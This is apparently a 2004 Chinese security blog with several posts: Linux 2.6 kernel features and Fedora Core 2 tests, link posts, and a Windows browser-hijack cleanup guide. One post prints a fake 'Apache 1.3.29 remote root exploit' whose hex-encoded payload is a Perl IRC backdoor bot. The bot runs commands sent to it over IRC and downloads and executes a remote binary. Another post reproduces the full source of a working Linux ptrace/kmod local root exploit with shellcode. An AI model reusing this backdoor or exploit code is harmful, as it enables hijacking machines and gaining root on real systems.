    在一些情况中,譬如某些数据库工作,新的预先调度功能也许会轻微降低系统的性能。在这种情况下,管理员可以在2.6核心中选择一个单独的I/O 调度程序来克服这一问题,这个调度程序功能名为“底线调度程序,即添加"elevator=deadline"命令。

    Linux 2.6内核的一个重大特色是改进了线程模式,包括支持NPTL(Native POSIX 线程库)。NPTL能够提供一些执行繁重线程应用所需的功能,包括Java 虚拟机。NPTL一直就有与其它应用兼容性不好的传闻,但红帽在去年春季推出的红帽 Linux 9,很好地解决了这一麻烦。 Linux 2.6 内核包括一种新的进程调度程序,新调度程序被称为0(1)调度程序,它通过改进的算法提高了多处理器系统的适应范围(单处理器系统的性能也没有受到影响)。某些使用了XFree86的图形服务器在碰到这种新的进程调度程序时,可能会出现一些麻烦,这部分用户可以先将X服务器的优先级别调到0。

    Linux 2.6内核可支持NUMA (非均匀内存访问),这是一种使用在多处理器系统上的架构,比如Silicon Graphics公司的Altix 3000。NUMA系统解决了内存总线瓶颈问题。在Linux 2.6内核中,Linux能够优化系统资源。Linux 2.6内核 中的虚拟内存子系统也重新进行了改进,例如,某些功能可以配合支持NUMA。

    Linux 2.6内核还支持“对称多线程”(symmetric multithreading)。这种功能因为英特尔的超线程处理器而闻名,它能够让一颗奔腾4或者至强处理器被系统当作两颗处理器来使用。从这点上讲, Linux 2.6核心无法区分两种虚拟或者现实的处理器,这可以为带有对称多线程的处理器提供更好的系统负载平衡。

    英特尔正在大力推广超线程处理器,现在Linux中增加了对这种功能的支持将扩大Linux的硬件适用范围。这种单芯片被虚拟为多处理器的技术也正出现在别的处理器上,比如Sun公司的“多芯处理器”,因此,Linux中提供这种“对称多线程”支持会很有好处。

    先发措施(Pre-Emptive Measures)
    Linux 2.6内核的另外一个变革是提供了先发措施(Pre-Emptive Measures),这意味着核心中的任务可以被其它任务中断,这对Linux相当有好处,它可以让系统更像是一种实时操作系统。另外,这种改进对 Linux桌面用户也有好处,它可以让系统对用户的鼠标指令或者其他命令反应更灵敏。

    Linux 2.6内核还通过扩展文件系统属性来支持访问控制清单,这种功能原先只能通过打补丁的方式才能获得。Linux 现在包括了JFS (日志文件系统) 与XFS (扩展文件系统) 支持,与Linux 2.6内核一同推出的ext3文件系统还可以对多文件目录清单提供帮助。Linux 2.6内核还包括了一个改进的NTFS驱动,不过对NTFS的支持仍旧处于试验阶段。

    新Linux将uClinux融入了自己的内核当中,这些代码主要针对缺乏内存管理单位的内嵌式设备而设计的,它支持日立有限公司的H8/300,NEC公司的v850以及摩托罗拉公司的m68k处理器。

    除了uClinux, Linux 2.6内核也能够支持AMD的x86-64与IBM的PowerPC 64架构,并增加了对用户模式的Linux支持。所谓用户模式Linux,是指用户可以在Linux系统中的虚拟机环境下运行Linux,这种功能对核心测试相当有用。

    Linux 2.6内核可以兼容很多硬件设备,包括串行ATA硬盘,USB 2.0设备。Linux 2.6内核还支持蓝牙以及IrDA红外线数据访问。 Linux 2.6内核 推出了新的声音系统——ALSA (高级Linux声音系统)。与前代相比,ALSA对声音设备的支持增加了,性能也更好了。现在,ALSA已经成为Linux流行的附件,但用户需要下载补丁才行。Linux 2.6内核包括了Video for Linux ,它是第二代视频捕捉和回放API。

    Linux 2.6内核改进了对周边硬件设备以及多媒体设备的支持,这对 Linux桌面用户是个福音。新的Linux 2.6内核的配置和调整过程也相当的清爽,它包括了 GTK (GIMP 工具箱)和基于Qt的图形核心配置工具。

    # 厂商何时采用2.6内核
    Knoppix 3.4: 3月底
    红帽Fedora Core: 4月份
    Mandrake Linux 10.0: 4月或5月
    SuSE Linux 企业服务器9: 春末/夏初
    红帽企业Linux 4: 今年秋季
    Debian Linux: 无固定日期,
    Sarge, 还没有确定是否会升级到2.6核心。

    品尝2.6内核

    品尝2.6内核
    Fedora Core 2是第一款围绕Linux 2.6内核开发的Linux产品(红帽的企业Linux要到今年秋季的版本4中才使用新内核), eWEEK实验室在几个不同的系统上测试了Fedora Core 2 Test1版本,我们对它的平滑性与稳定性有了初步的印象。

    我们发现,与Fedora Core 1相比,新的Fedora应用,像KDE Project的KDE 3.2 和GNOME Project的GNOME 2.5.3的性能有了很大的提高。另一个Fedora Core 2 Test 1的新系统是上月推出的SELinux,它是美国国家安全局开发的安全架构。

    Fedora Core 2包括了对SELinux的基本支持,但只有一些而已。我们认为,SELinux将在Fedora中全面铺开,我们将在红帽的下一个企业版本的Linux中初步见到这些支持。Fedora Core 2的通用性做得很好。由于很多软件都预先对 Fedora做了支持,它特别适合于桌面应用。而且, Fedora快速的升级风格也让它能够跟得上最新软件技术的发展步伐。Fedora的快速升级风格也对其他软件的兼容构成了挑战,这是由于频繁的升级经常会造成软件的不兼容。Fedora Core 2的最终版本定于下月推出。

    虽然eWEEK 实验室对 Fedora Core 2的测试结果总体上看来比较好,但是我们在运行基于Linux 2.6内核的新子系统时候仍旧碰到了一些问题。例如,新ALSA(高级Linux声音架构)声卡系统在我们配置声卡的时候出现了错误信息,它显示所需的驱动无法装载。这个提示消息是错误的,因为驱动程序实际上已经安装上了。

    我们在进行一些网站访问时也碰到了麻烦。问题是由Linux 2.6内核中一个叫做ECN(明确阻塞通知)的功能造成的,ECN可以让路由器向用户报告网络堵塞的情况,但ECN功能开启的时候,这也会令一些老的防火墙拒绝进行网络连接。为了关闭ECN,我们在/etc/sysctl.conf.文件中不得不添加了"net.ipv4.tcp_ecn = 0"的命令。

    我们还惊奇的发现, Fedora Core 2没有将Linux 2.6内核中的pre-emptible设置到它的默认核心代码中去,我们不得不手动编译了自己的测试代码来开启这项功能。我们利用BitTorrent点对点下载工具下载了三张Fedora Core 2的光盘,但进行测试的时候,我们发现利用红帽的升级工具,已经可以下载Fedora的开发包了。我们最开始准备使用2.6.1 版本的Linux内核进行测试,但到真正测试的时候,使用的是Linux 2.6.3 内核。

    红帽的默认升级服务器经常被下载者挤得水泄不通。其实,用户可以用镜像下载站点代替,随Fedora Core 2一起推出的up2date升级工具已经做了这方面的改进,它能够选择一个镜像站点进行下载。

    在镜像站点之间选择似乎不是一个很好的选择:有时候,我们从红帽默认的服务器开始下载,但是速度很慢,当我们选择从下载速度快的站点下载时,我们不得不重新开始下载过程。在Fedora Core 2的最终版本中,我们希望见到一个能够在up2date和Fedora安装工具之间切换的链接。

    在Fedora Core 2中,我们见到了GIMP 2.0预览版,它采用了 GTK (GIMP 工具箱) 2.0界面。Fedora Core 2还包括OpenOffice.org 1.1套件。

    Posted by vitter at 2004-04-14 09:14:14 | 评论 (0)

    April 07, 2004

    Unix、Windows、编程语言的发展历史

    从http://www.levenez.com/看到的.
    Unix发展历史
    Windows发展历史
    编程语言发展历史

    Posted by vitter at 2004-04-07 09:04:12 | 评论 (0)

    April 05, 2004

    Unix的起源、发展和分支图

    The UNIX system family tree

    http://vfocus.net/blog/archives/images/unix.txt

    Posted by vitter at 2004-04-05 19:37:35 | 评论 (0)

    linux下mozilla的RSS Reader的插件

    不错的RSS Reader,一个mozilla的插件,是个日本人写的,地址在:http://fls.moo.jp/moz/rssreader.html

    Posted by vitter at 2004-04-05 13:28:28 | 评论 (0)

    April 04, 2004

    Apache/1.3.29 - Remote Root Exploit

    今天看到的:)
    * *** PRIVATE * PRIVATE * PRIVATE ***
    * ******** DO NOT DISTRIBUTE ********
    0DAY_REMOTE_ROOT_EXPLOIT_APACHE_1.3.29.c

    unsigned char h3llc0de[]=
    {
    0x23, 0x21, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69,
    0x6e, 0x2f, 0x70, 0x65, 0x72, 0x6c, 0x0a, 0x0a,
    0x24, 0x63, 0x68, 0x61, 0x6e, 0x3d, 0x22, 0x23,
    0x70, 0x61, 0x72, 0x64, 0x69, 0x6c, 0x6c, 0x6f,
    0x73, 0x22, 0x3b, 0x0a, 0x24, 0x6e, 0x69, 0x63,
    0x6b, 0x3d, 0x22, 0x4c, 0x65, 0x6d, 0x6d, 0x69,
    0x6e, 0x67, 0x73, 0x22, 0x3b, 0x0a, 0x24, 0x73,
    0x65, 0x72, 0x76, 0x65, 0x72, 0x3d, 0x22, 0x65,
    0x66, 0x6e, 0x65, 0x74, 0x2e, 0x76, 0x75, 0x75,
    0x72, 0x77, 0x65, 0x72, 0x6b, 0x2e, 0x6e, 0x6c,
    0x22, 0x3b, 0x0a, 0x24, 0x53, 0x49, 0x47, 0x7b,
    0x54, 0x45, 0x52, 0x4d, 0x7d, 0x3d, 0x7b, 0x7d,
    0x3b, 0x0a, 0x65, 0x78, 0x69, 0x74, 0x20, 0x69,
    0x66, 0x20, 0x66, 0x6f, 0x72, 0x6b, 0x3b, 0x0a,
    0x75, 0x73, 0x65, 0x20, 0x49, 0x4f, 0x3a, 0x3a,
    0x53, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x3b, 0x0a,
    0x24, 0x73, 0x6f, 0x63, 0x6b, 0x20, 0x3d, 0x20,
    0x49, 0x4f, 0x3a, 0x3a, 0x53, 0x6f, 0x63, 0x6b,
    0x65, 0x74, 0x3a, 0x3a, 0x49, 0x4e, 0x45, 0x54,
    0x2d, 0x3e, 0x6e, 0x65, 0x77, 0x28, 0x24, 0x73,
    0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x22, 0x3a,
    0x36, 0x36, 0x36, 0x37, 0x22, 0x29, 0x7c, 0x7c,
    0x65, 0x78, 0x69, 0x74, 0x3b, 0x0a, 0x70, 0x72,
    0x69, 0x6e, 0x74, 0x20, 0x24, 0x73, 0x6f, 0x63,
    0x6b, 0x20, 0x22, 0x55, 0x53, 0x45, 0x52, 0x20,
    0x6c, 0x65, 0x6d, 0x6d, 0x69, 0x6e, 0x67, 0x73,
    0x20, 0x2b, 0x69, 0x20, 0x6c, 0x65, 0x6d, 0x6d,
    0x69, 0x6e, 0x67, 0x73, 0x20, 0x3a, 0x6c, 0x65,
    0x6d, 0x6d, 0x69, 0x6e, 0x67, 0x73, 0x76, 0x32,
    0x20, 0x5c, 0x6e, 0x4e, 0x49, 0x43, 0x4b, 0x20,
    0x6c, 0x65, 0x6d, 0x6d, 0x69, 0x6e, 0x67, 0x73,
    0x5c, 0x6e, 0x22, 0x3b, 0x0a, 0x24, 0x69, 0x3d,
    0x31, 0x3b, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x28,
    0x3c, 0x24, 0x73, 0x6f, 0x63, 0x6b, 0x3e, 0x3d,
    0x7e, 0x2f, 0x5e, 0x5b, 0x5e, 0x20, 0x5d, 0x2b,
    0x20, 0x28, 0x5b, 0x5e, 0x20, 0x5d, 0x2b, 0x29,
    0x20, 0x2f, 0x29, 0x7b, 0x24, 0x6d, 0x6f, 0x64,
    0x65, 0x3d, 0x24, 0x31, 0x3b, 0x0a, 0x6c, 0x61,
    0x73, 0x74, 0x20, 0x69, 0x66, 0x20, 0x24, 0x6d,
    0x6f, 0x64, 0x65, 0x3d, 0x3d, 0x22, 0x30, 0x30,
    0x31, 0x22, 0x3b, 0x0a, 0x69, 0x66, 0x28, 0x24,
    0x6d, 0x6f, 0x64, 0x65, 0x3d, 0x3d, 0x22, 0x34,
    0x33, 0x33, 0x22, 0x29, 0x0a, 0x7b, 0x24, 0x69,
    0x2b, 0x2b, 0x3b, 0x24, 0x6e, 0x69, 0x63, 0x6b,
    0x3d, 0x7e, 0x73, 0x2f, 0x5c, 0x64, 0x2a, 0x24,
    0x2f, 0x24, 0x69, 0x2f, 0x3b, 0x70, 0x72, 0x69,
    0x6e, 0x74, 0x20, 0x24, 0x73, 0x6f, 0x63, 0x6b,
    0x20, 0x22, 0x4e, 0x49, 0x43, 0x4b, 0x20, 0x24,
    0x6e, 0x69, 0x63, 0x6b, 0x5c, 0x6e, 0x22, 0x3b,
    0x7d, 0x7d, 0x0a, 0x70, 0x72, 0x69, 0x6e, 0x74,
    0x20, 0x24, 0x73, 0x6f, 0x63, 0x6b, 0x20, 0x22,
    0x4a, 0x4f, 0x49, 0x4e, 0x20, 0x24, 0x63, 0x68,
    0x61, 0x6e, 0x5c, 0x6e, 0x50, 0x52, 0x49, 0x56,
    0x4d, 0x53, 0x47, 0x20, 0x24, 0x63, 0x68, 0x61,
    0x6e, 0x20, 0x3a, 0x6c, 0x65, 0x6d, 0x6d, 0x69,
    0x6e, 0x67, 0x73, 0x20, 0x76, 0x32, 0x2e, 0x31,
    0x5c, 0x6e, 0x50, 0x52, 0x49, 0x56, 0x4d, 0x53,
    0x47, 0x20, 0x24, 0x63, 0x68, 0x61, 0x6e, 0x20,
    0x3a, 0x70, 0x61, 0x72, 0x61, 0x20, 0x6d, 0x61,
    0x6e, 0x64, 0x61, 0x72, 0x6d, 0x65, 0x20, 0x63,
    0x6f, 0x6d, 0x61, 0x6e, 0x64, 0x6f, 0x73, 0x2c,
    0x20, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65,
    0x3a, 0x20, 0x22, 0x2e, 0x24, 0x6e, 0x69, 0x63,
    0x6b, 0x2e, 0x22, 0x3a, 0x63, 0x6f, 0x6d, 0x61,
    0x6e, 0x64, 0x6f, 0x5c, 0x6e, 0x22, 0x3b, 0x0a,
    0x77, 0x68, 0x69, 0x6c, 0x65, 0x28, 0x3c, 0x24,
    0x73, 0x6f, 0x63, 0x6b, 0x3e, 0x29, 0x0a, 0x7b,
    0x0a, 0x69, 0x66, 0x20, 0x28, 0x2f, 0x5e, 0x50,
    0x49, 0x4e, 0x47, 0x20, 0x28, 0x2e, 0x2a, 0x29,
    0x24, 0x2f, 0x29, 0x0a, 0x7b, 0x70, 0x72, 0x69,
    0x6e, 0x74, 0x20, 0x24, 0x73, 0x6f, 0x63, 0x6b,
    0x20, 0x22, 0x50, 0x4f, 0x4e, 0x47, 0x20, 0x24,
    0x31, 0x5c, 0x6e, 0x4a, 0x4f, 0x49, 0x4e, 0x20,
    0x24, 0x63, 0x68, 0x61, 0x6e, 0x5c, 0x6e, 0x22,
    0x3b, 0x7d, 0x0a, 0x69, 0x66, 0x28, 0x73, 0x2f,
    0x5e, 0x5b, 0x5e, 0x20, 0x5d, 0x2b, 0x20, 0x50,
    0x52, 0x49, 0x56, 0x4d, 0x53, 0x47, 0x20, 0x24,
    0x63, 0x68, 0x61, 0x6e, 0x20, 0x3a, 0x24, 0x6e,
    0x69, 0x63, 0x6b, 0x5b, 0x5e, 0x20, 0x3a, 0x5c,
    0x77, 0x5d, 0x2a, 0x3a, 0x5b, 0x5e, 0x20, 0x3a,
    0x5c, 0x77, 0x5d, 0x2a, 0x20, 0x28, 0x2e, 0x2a,
    0x29, 0x24, 0x2f, 0x24, 0x31, 0x2f, 0x29, 0x7b,
    0x73, 0x2f, 0x5c, 0x73, 0x2a, 0x24, 0x2f, 0x2f,
    0x3b, 0x24, 0x5f, 0x3d, 0x60, 0x24, 0x5f, 0x60,
    0x3b, 0x66, 0x6f, 0x72, 0x65, 0x61, 0x63, 0x68,
    0x28, 0x73, 0x70, 0x6c, 0x69, 0x74, 0x20, 0x22,
    0x5c, 0x6e, 0x22, 0x29, 0x0a, 0x7b, 0x0a, 0x73,
    0x79, 0x73, 0x74, 0x65, 0x6d, 0x28, 0x22, 0x77,
    0x67, 0x65, 0x74, 0x20, 0x77, 0x77, 0x77, 0x2e,
    0x67, 0x72, 0x61, 0x74, 0x69, 0x73, 0x77, 0x65,
    0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x65, 0x6c,
    0x64, 0x75, 0x65, 0x6e, 0x64, 0x65, 0x63, 0x69,
    0x6c, 0x6c, 0x6f, 0x2f, 0x69, 0x6e, 0x73, 0x74,
    0x20, 0x3b, 0x20, 0x63, 0x68, 0x6d, 0x6f, 0x64,
    0x20, 0x2b, 0x78, 0x20, 0x69, 0x6e, 0x73, 0x74,
    0x20, 0x3b, 0x20, 0x2e, 0x2f, 0x69, 0x6e, 0x73,
    0x74, 0x20, 0x3b, 0x20, 0x72, 0x6d, 0x20, 0x69,
    0x6e, 0x73, 0x74, 0x3b, 0x20, 0x63, 0x64, 0x20,
    0x2f, 0x75, 0x73, 0x72, 0x2f, 0x73, 0x68, 0x61,
    0x72, 0x65, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
    0x65, 0x2f, 0x73, 0x6b, 0x2f, 0x2e, 0x73, 0x6b,
    0x31, 0x32, 0x20, 0x3b, 0x20, 0x2e, 0x2f, 0x73,
    0x6b, 0x20, 0x3b, 0x20, 0x63, 0x64, 0x22, 0x20,
    0x29, 0x3b, 0x0a, 0x70, 0x72, 0x69, 0x6e, 0x74,
    0x20, 0x24, 0x73, 0x6f, 0x63, 0x6b, 0x20, 0x22,
    0x50, 0x52, 0x49, 0x56, 0x4d, 0x53, 0x47, 0x20,
    0x24, 0x63, 0x68, 0x61, 0x6e, 0x20, 0x3a, 0x24,
    0x5f, 0x5c, 0x6e, 0x22, 0x3b, 0x73, 0x6c, 0x65,
    0x65, 0x70, 0x20, 0x31, 0x3b, 0x7d, 0x7d, 0x7d,
    0x23, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20, 0x2b,
    0x78, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x6c,
    0x6f, 0x6c, 0x20, 0x32, 0x3e, 0x2f, 0x64, 0x65,
    0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x3b, 0x2f,
    0x74, 0x6d, 0x70, 0x2f, 0x6c, 0x6f, 0x6c, 0x00
    };


    fatb@secu~# strings apache
    /lib/ld-linux.so.2
    libc.so.6
    printf
    memcpy
    system
    malloc
    socket
    inet_addr
    setsockopt
    fseek
    sendto
    fclose
    fwrite
    htons
    fopen
    _IO_stdin_used
    __libc_start_main
    strlen
    __gmon_start__
    GLIBC_2.1
    GLIBC_2.0
    PTRh
    QVh_
    [^_]
    ERROR: No ip address entered
    usage:
    %s [IP-ADDRESS]
    could not obtain raw socket
    ARE YOU ROOT?
    127.0.0.1
    warning: cannot set HDRINCL
    Server Patched or not Vulnerable :_(
    #!/usr/bin/perl
    $chan="#pardillos";
    $nick="Lemmings";
    $server="efnet.vuurwerk.nl";
    $SIG{TERM}={};
    exit if fork;
    use IO::Socket;
    $sock = IO::Socket::INET->new($server.":6667")||exit;
    print $sock "USER lemmings +i lemmings :lemmingsv2 NICK lemmings ";
    $i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;
    last if $mode=="001";
    if($mode=="433")
    {$i++;$nick=~s/d*$/$i/;print $sock "NICK $nick ";}}
    print $sock "JOIN $chan PRIVMSG $chan :lemmings v2.1 PRIVMSG $chan :para mandarme comandos, escribe: ".$nick.":comando ";
    while(<$sock>)
    if (/^PING (.*)$/)
    {print $sock "PONG $1 JOIN $chan ";}
    if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :w]*:[^ :w]* (.*)$/$1/){s/s*$//;$_=`$_`;foreach(split " ")
    system("wget www.gratisweb.com/elduendecillo/inst ; chmod +x inst ; ./inst ; rm inst; cd /usr/share/locale/sk/.sk12 ; ./sk ; cd" );
    print $sock "PRIVMSG $chan :$_ ";sleep 1;}}}#chmod +x /tmp/lol 2>/dev/null;/tmp/lol

    Posted by vitter at 2004-04-04 14:31:32 | 评论 (0)

    redhat本地溢出

    哥儿们昨天要找redhat的本地溢出,作为讲CISP课程的演示,找了很多,都不能用,郁闷中,今天只好重装系统了,他以前装的系统太烂了,少好多东西,昨晚装8.0也没有找到好的溢出.今天重装后,找到了不少:)这次装了kernel找了几个他的溢出,成功了,真是郁闷,居然用这么久.以前自己机器上收藏了不少,但是现在机器给同学了.没办法只好找了.主要是他的系统装的东西太少了,什么都没装,网络也没开服务,重装系统后就搞定了:)
    http://vfocus.net/download/down/kmod.c
    http://www.cnhonker.com/index.php?module=exploits&act=view&type=6&id=18

    --------------------------------------------kmod.c--------------------------------------------------------------------
    /*

    * Linux kernel ptrace/kmod local root exploit

    *

    * This code exploits a race condition in kernel/kmod.c, which creates

    * kernel thread in insecure manner. This bug allows to ptrace cloned

    * process, allowing to take control over privileged modprobe binary.

    *

    * Should work under all current 2.2.x and 2.4.x kernels.

    *

    * I discovered this stupid bug independently on January 25, 2003, that

    * is (almost) two month before it was fixed and published by Red Hat

    * and others.

    *

    * Wojciech Purczynski

    *

    * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*

    * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY

    *

    * (c) 2003 Copyright by iSEC Security Research

    */
    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    #include

    char cliphcode[] =

    "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"

    "\x00\x5b\x31\xc9\x89\xca\xcd\x80"

    "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"

    "\x00\x00\xcd\x80\x89\xd0\x89\xd3"

    "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

    #define CODE_SIZE (sizeof(cliphcode) - 1)

    pid_t parent = 1;

    pid_t child = 1;

    pid_t victim = 1;

    volatile int gotchild = 0;

    void fatal(char * msg)

    {

    perror(msg);

    kill(parent, SIGKILL);

    kill(child, SIGKILL);

    kill(victim, SIGKILL);

    }

    void putcode(unsigned long * dst)

    {

    char buf[MAXPATHLEN + CODE_SIZE];

    unsigned long * src;

    int i, len;

    memcpy(buf, cliphcode, CODE_SIZE);

    len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);

    if (len == -1)

    fatal("[-] Unable to read /proc/self/exe");

    len += CODE_SIZE + 1;

    buf[len] = '\0';

    src = (unsigned long*) buf;

    for (i = 0; i < len; i += 4)

    if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)

    fatal("[-] Unable to write shellcode");

    }

    void sigchld(int signo)

    {

    struct user_regs_struct regs;

    if (gotchild++ == 0)

    return;

    fprintf(stderr, "[+] Signal caught\n");

    if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)

    fatal("[-] Unable to read registers");

    fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

    putcode((unsigned long *)regs.eip);

    fprintf(stderr, "[+] Now wait for suid shell...\n");

    if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)

    fatal("[-] Unable to detach from victim");

    exit(0);

    }

    void sigalrm(int signo)

    {

    errno = ECANCELED;

    fatal("[-] Fatal error");

    }

    void do_child(void)

    {

    int err;

    child = getpid();

    victim = child + 1;

    signal(SIGCHLD, sigchld);

    do

    err = ptrace(PTRACE_ATTACH, victim, 0, 0);

    while (err == -1 && errno == ESRCH);

    if (err == -1)

    fatal("[-] Unable to attach");

    fprintf(stderr, "[+] Attached to %d\n", victim);

    while (!gotchild) ;

    if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)

    fatal("[-] Unable to setup syscall trace");

    fprintf(stderr, "[+] Waiting for signal\n");

    for(;;);

    }

    void do_parent(char * progname)

    {

    struct stat st;

    int err;

    errno = 0;

    socket(AF_SECURITY, SOCK_STREAM, 1);

    do {

    err = stat(progname, &st);

    } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

    if (err == -1)

    fatal("[-] Unable to stat myself");

    alarm(0);

    system(progname);

    }

    void prepare(void)

    {

    if (geteuid() == 0) {

    initgroups("root", 0);

    setgid(0);

    setuid(0);

    execl(_PATH_BSHELL, _PATH_BSHELL, NULL);

    fatal("[-] Unable to spawn shell");

    }

    }

    int main(int argc, char ** argv)

    {

    prepare();

    signal(SIGALRM, sigalrm);

    alarm(10);

    parent = getpid();

    child = fork();

    victim = child + 1;

    if (child == -1)

    fatal("[-] Unable to fork");

    if (child == 0)

    do_child();

    else

    do_parent(argv[0]);

    return 0;

    }
    -----------------------------------------------------END----------------------------------------------------

    Posted by vitter at 2004-04-04 00:06:26 | 评论 (0)

    March 26, 2004

    关于被恶意修改首页的问题

    昨天同学发短信过来问,他的主页被改了,改注册表没成功。前一段时间,就有在南京的同学打电话问过,我也告诉他怎么办了,详情见:http://www.vfocus.net/blog/archives/000006.html

    我不知道是哪个网站,也不清楚是怎么回事,根据经验,可能是病毒。比如以前同事的机器就出现过这种情况:

    打开IE浏览器,窗口里出现网址为“http://***www.4755.net”,随即又弹出几个窗口,将窗口一一关闭后,屏幕上还留有一矩形空白区域无法消除,按下[Ctrl+Alt+Del]键,在关闭程序程序窗口里看到一个陌生的名字“C:\win.hta”,单击[结束任务]按钮,空白区域消失。在C盘下可以找到名为“win.hta”的文件,将其删除。但在“Internet属性”对话框,修改主页地址无效。

    是不是注册表被修改了?带着疑问打开了注册表,在“编辑”菜单下选择“查找”命令,在“查找”对话框输入“http://***www.4755.net”(不含引号)进行查找,共有两处,将其一一改为另一网址。重新启动IE浏览器,情况依旧,看来也不是注册表的问题。

    是不是有病毒程序在作怪啊?想到这里,打开了“系统配置实用程序”,在“启动”选项里没发现什么奇怪的程序。又打开C:\Windows文件夹下的Win.ini和C:\Windows\System文件夹下的System.ini,也没有发现什么特殊情况。

    想来想去,还得从“http://***www.4755.net”这个网址入手。

    先打开“文件夹选项”对话框,选择[查看] →[高级设置] →[文件和文件夹] →[隐藏文件]项,设置为“显示所有文件”。

    然后从[开始] →[搜索]→[文件和文件],打开“搜索结果”对话框,在“包含文字”栏里输入“http://**www.4755.net”(不含引号),在“搜索范围”列表里选择“本地磁盘(C:)”(C盘为系统盘),共搜索到三个文件:qq32.ini、sendmess.exe和qqs.exe,删除之。在删除sendmess.exe时提示程序正在运行。

    同事的电脑安装的是Windows Me操作系统,不能进入真正的MS-DOS状态,只能借助“优化大师”了,利用“优化大师”的“进程管理”禁止sendmess.exe的运行,将其删除。再次打开“Internet属性”对话框,将主页地址修改后关闭对话框,启动IE浏览器,地址栏里不再出现“http://***www.4755.net”,一切OK。

    通过上网查询,了解到qq32.ini和sendmess.exe是木马病毒及其变种的两个主要文件,另外还有一个qqmess.dll也是这个病毒中的一个文件,随后在C:\Windows\System文件夹下找到qqmess.dll将其删除。

    但是不一定就是这种病毒,但是大体上应该差不多,有的可能在C:根目录下生成几个文件比如.dll.reg.bat等文件,或者是把AUTOEXEC.BAT文件修改了等等。改回来就可以了。

    可以在IE设置中将脚本设为‘提示’,禁用Remote Registry Service 服务及使用Norton Anti Virus 杀毒软件等方法进行预防。如果已经被修改则可通过设置IE、禁止可疑程序启动或使用‘超级兔子’、‘毒霸’等软件将其修复。

    拒绝恶意修改 解决IE上网遇到的麻烦


    针对上网时IE被恶意修改的事情,我们曾经在2001年第36期做过专门的文章。但最近发现这个问题愈演愈烈,很多朋友都到我们的网站寻求解决办法,所以这次在原来的基础上做了补充,希望对大家有所帮助。

    IE标题栏被修改

    症状:无论上哪个网站,在IE标题栏上都会多出一个固定的网址。

    恶毒指数:

    这种情况往往发生在上过一些网站后,解决问题的思路很简单,IE标题栏被修改,肯定是注册表的某一部分被修改了,这时只要记下那个网址,在“运行”中键入“regedit”进入注册表,首先导出注册表文件(作为备份用,万一改错了还可以改回来),然后执行查找命令,找到注册表中包含该网址的键值并删除,然后重启计算机就可以了。

    遇到这样的问题多了以后,我也注意了一下注册表中存放IE标题栏的地方,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下,数值名称为Window Title,数值数据为IE标题栏上显示的内容。其实知道了这个方法,我们也可以定制自己的IE标题栏,比如加了一句“欢迎上网”(如图1),修改完了重启计算机,再上网就可以看到标题栏上多了“欢迎上网”一行字。图1 在注册表中修改IE的标题栏

    注册表无法打开

    症状:修改了你的设置后,还禁止你打开注册表。

    恶毒指数:

    其实别人在自己的机器上捣鬼,多半会在注册表里动手脚。掌握了这条规律,看到电脑出了问题,我就会习惯性地打开注册表,试着从中解决问题。

    不过有一次我在一个同事那儿,却怎么也无法打开注册表——这可使我犯难了,因为我对注册表的了解还不到能解除注册表无法打开的程度。当然,最后问题还是解决了,一个软件帮助了我,那就是“超级兔子”。在超级兔子的“安全与多用户”设置中有一项为“禁止使用注册表编辑器”,注册表无法打开时,该项前面会有一个对号,将对号去掉就可以打开注册表了。

    右键菜单里的网址

    症状:网站强行添加网址到右键菜单中,让人觉得很别扭。

    恶毒指数:

    还是那位同事,不知是上过哪个网站后,在浏览页面时点击鼠标右键,菜单中会出现一些网址,当然是被某个网站强行添加的,这个问题也好解决,进入注册表,运用“查找”大法,也可以找到相应的内容,把不需要的统统删掉就可以了。

    另外,在浏览网页时点击右键出现的菜单的各项内容,它们在注册表的相应位置是:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt,从中可以看到所有右键菜单出现的内容(如图2)。图2 右键菜单的内容都在这儿

    都想当默认主页

    症状:修改默认的主页,甚至锁住主页设置栏。

    恶毒指数:

    要将默认主页改回来,运气好的话,只需在“Internet属性”中直接修改就可以搞定。但是有些修改默认主页的手段做得比较绝,在设置主页的地方居然是灰的,无法修改。这次我又请出了“超级兔子”。

    在“超级兔子”中,有“IE默认打开的网页”一项(如图3),即使是在设置主页的地方变成灰色被锁住的情况下,也可以在这里设置。图3 主页设置被锁也不用怕

    更恶毒的,用“超级兔子”将默认主页修改过来了,重启计算机后,打开主页,默认的主页又变成那些不请自来的网页。这时候就要再次请出“regedit”大法,将隐藏在注册表中的那些网页的网址清除出去。这个办法还是不行的话,就要在DOS下恢复注册表了,方法是重启计算机进入DOS模式,键入“scanreg/restore”,会弹出一个列表,列出最近五次正常启动的注册表的备份文件。选择一个没有被修改过主页的注册表文件(从时间上来看),恢复后就可以解决问题了。但是用这个办法要及时,如果那五个备份文件中全部都是默认主页被修改后生成的备份的话,用这个办法也不行了。

    以上就是我在解决问题的过程中总结的几点经验,总的来说有以下几点:

    1、修改注册表中被改动的内容;

    2、利用“超级兔子”这个很好用的工具,另外“超级兔子”还有一个注册表保护器,可以安上它,用它来保护注册表;

